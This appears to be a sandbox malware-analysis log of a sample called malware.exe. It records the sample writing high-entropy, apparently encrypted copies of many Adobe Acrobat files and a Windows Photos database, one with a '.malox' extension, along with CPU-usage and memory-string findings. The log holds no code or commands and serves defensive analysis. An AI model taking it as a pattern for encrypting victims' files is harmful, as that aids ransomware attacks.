Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_200_percent.pak entropy: 7.9997513864	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_100_percent.pak entropy: 7.99969381384	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\locales\en-US.pak entropy: 7.9976021148	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_AE\license.html entropy: 7.99338524065	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\el_GR\license.html entropy: 7.99268154037	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\ENU\template1.pdf entropy: 7.99700564013	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\AdobeID.pdf entropy: 7.99792478156	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\DefaultID.pdf entropy: 7.99779020898	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\cs_CZ\license.html entropy: 7.99306651016	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ar_AE\license.html entropy: 7.99558178981	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\da_DK\license.html entropy: 7.9931941976	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template3.pdf entropy: 7.99245328814	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\resources.pak entropy: 7.99854631652	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\license.html entropy: 7.99515505948	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\license.html entropy: 7.99329463648	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\license.html entropy: 7.99506660185	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\license.html entropy: 7.99430126037	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fi_FI\license.html entropy: 7.99450655421	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ENU\license.html entropy: 7.99561632065	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_IL\license.html entropy: 7.99334403659	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\es_ES\license.html entropy: 7.99428475059	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\de_DE\license.html entropy: 7.99473475092	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_US\license.html entropy: 7.99418343541	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_GB\license.html entropy: 7.99336545322	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\license.html entropy: 7.99471711796	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\license.html entropy: 7.99392668806	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\license.html entropy: 7.99667484808	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\license.html entropy: 7.99429738856	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\license.html entropy: 7.99412969386	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\license.html entropy: 7.99307505622	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\license.html entropy: 7.99422310801	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\license.html entropy: 7.99429729694	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\license.html entropy: 7.99508380034	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\license.html entropy: 7.9949341213	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\license.html entropy: 7.99470922005	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFSigQFormalRep.pdf entropy: 7.99777011391	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Regular.woff entropy: 7.99872736152	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Light.eot entropy: 7.99553589897	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Bold.woff entropy: 7.99865502338	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Light.woff entropy: 7.99874903417	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Regular.eot entropy: 7.99591522334	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\license.html entropy: 7.99108604624	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Bold.eot entropy: 7.99661916452	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\license.html entropy: 7.99121568733	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\license.html entropy: 7.99613776134	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\license.html entropy: 7.99385536376	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Accessibility.api entropy: 7.99746735767	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\AdobePDF417.pmp entropy: 7.99841424748	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\adobepdf.xdc entropy: 7.99593814185	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Standard.pdf entropy: 7.99814657153	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CompareMarkers.pdf entropy: 7.99206358094	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\QRCode.pmp entropy: 7.99744708552	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\DropboxStorage.api entropy: 7.99761598615	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\Words.pdf entropy: 7.99845970736	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf entropy: 7.99713972851	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Pointers.pdf entropy: 7.99589509969	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Faces.pdf entropy: 7.99472369475	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\eBook.api entropy: 7.99742518509	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf entropy: 7.99683879114	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\DVA.api entropy: 7.99527602081	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\IA32.api entropy: 7.99754669906	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\SignHere.pdf entropy: 7.99504729663	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\PDDom.api entropy: 7.99705164311	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\WindowsMedia.mpp entropy: 7.99067411157	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\MSRMS.api entropy: 7.9982678814	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\Flash.mpp entropy: 7.99082326279	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\reflow.api entropy: 7.9954140414	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\ReadOutLoud.api entropy: 7.99449891895	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\drvSOFT.x3d entropy: 7.99721659646	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\2d.x3d entropy: 7.99754935429	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\weblink.api entropy: 7.99747619607	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Updater.api entropy: 7.99603878784	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\StorageConnectors.api entropy: 7.99794366705	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Spelling.api entropy: 7.99795418923	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\SendMail.api entropy: 7.99830777358	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Search.api entropy: 7.99734493673	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\SaveAsRTF.api entropy: 7.99789760008	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\drvDX9.x3d entropy: 7.99778598268	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\3difr.x3d entropy: 7.99732581156	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\179f135ab98d015965571a3d585f8c8f.png entropy: 7.99738076558	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-app-launcher.js entropy: 7.99823445562	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\Comments.aapp entropy: 7.99177549965	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\Microsoft.VCLibs.x86.14.00.appx entropy: 7.99966125643	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\tesselate.x3d entropy: 7.99515093983	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\prc\MyriadCAD.otf entropy: 7.99764789605	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\04ddbdff6396d98807bc0b6a4af1938c.png entropy: 7.99052809408	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4109-chunk.js entropy: 7.99355163511	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4049-chunk.js entropy: 7.99734151725	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\3379-chunk.js entropy: 7.99583949752	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\0c9bbbe7a01f43c8a2c084d4926a8785.png entropy: 7.99899791022	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\229192ba6f3c6a8d242464d646d4ad63.png entropy: 7.99141687204	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\1911-chunk.js entropy: 7.99572233041	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\1901-chunk.js entropy: 7.99157723928	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6b0215ed0a09075330a1c6dd3dbfba1d.png entropy: 7.99059549747	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6823bdac587ae224bf36689600281a69.png entropy: 7.99171681974	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6297-chunk.js entropy: 7.99806669129	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6665-chunk.js entropy: 7.99271967959	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\57686c0e32e1983d524fb6f8d46ca8c7.png entropy: 7.99932704545	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\5251-chunk.js entropy: 7.99237329123	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4dddbe6058a486f7048673e4b143f7c4.png entropy: 7.99229205797	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\92bfb68adb54a6ec950196b4d39ccf3e.png entropy: 7.99429074797	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9488-chunk.js entropy: 7.99125324053	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9216-chunk.js entropy: 7.99530160842	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8329-chunk.js entropy: 7.99616347196	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8172-chunk.js entropy: 7.99675123613	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\7ec969a62598fbfa1ee1eb8827a0f2e5.png entropy: 7.99857631336	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6f43d8c6da907e34ab2028ef15733412.png entropy: 7.99967524598	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\7363-chunk.js entropy: 7.99744192024	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\7279-chunk.js entropy: 7.99794410659	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm entropy: 7.99412230896	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\db3460ac8568d0137d4556570169e475.png entropy: 7.99629837079	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\c124efa99176e538252a2ae3cef2137e.png entropy: 7.99941070661	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\a56350ec5a5b310e9f4c7e10e0b6795c.png entropy: 7.99942050734	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\b961cde276c90015f1db51975a470747.png entropy: 7.99066489345	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\b99178ba996d2b4a255b0f163dcb88ce.png entropy: 7.9974020421	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9b1662bee64658ff8dd184737a056510.png entropy: 7.99770100696	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\83bf4cfa63b712c6973a0d510a7b2c99.png entropy: 7.99938251273	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9066745ff44b689b5cc89c3d73970f01.png entropy: 7.99868811979	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8479-chunk.js entropy: 7.99487126685	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-ccx-chunk.js entropy: 7.99685610479	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-ccxfeedback-popups-chunk.js entropy: 7.99273909941	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\dc3b5d449449a5103f90189b239c0bf6.png entropy: 7.99823472919	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\c6534465ea418b6c252e2b74bc9e4bbb.png entropy: 7.99936835281	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\ui-strings.js entropy: 7.99031102421	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\ui-strings.js entropy: 7.99238074037	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\ui-strings.js entropy: 7.9909208044	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\ui-strings.js entropy: 7.99163966207	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\ui-strings.js entropy: 7.99082717234	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fi-fi\ui-strings.js entropy: 7.99089692411	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\ui-strings.js entropy: 7.99159294666	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-ae\ui-strings.js entropy: 7.99012275917	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\upgrade_top_image2x.png entropy: 7.99958112738	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\de-de\ui-strings.js entropy: 7.99103123965	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ru-ru\ui-strings.js entropy: 7.9933900176	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ko-kr\ui-strings.js entropy: 7.99085074938	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pt-br\ui-strings.js entropy: 7.99117969195	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\ui-strings.js entropy: 7.99053831427	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Documents and Settings\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.malox (copy) entropy: 7.99412230896	Jump to dropped file

Source: C:\Users\user\Desktop\malware.exe

Process Stats: CPU usage > 49%

Source: malware.exe, 00000000.00000003.1646260310.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1685614425.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1685614425.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1785769862.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1813084478.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2247464482.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2182773970.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
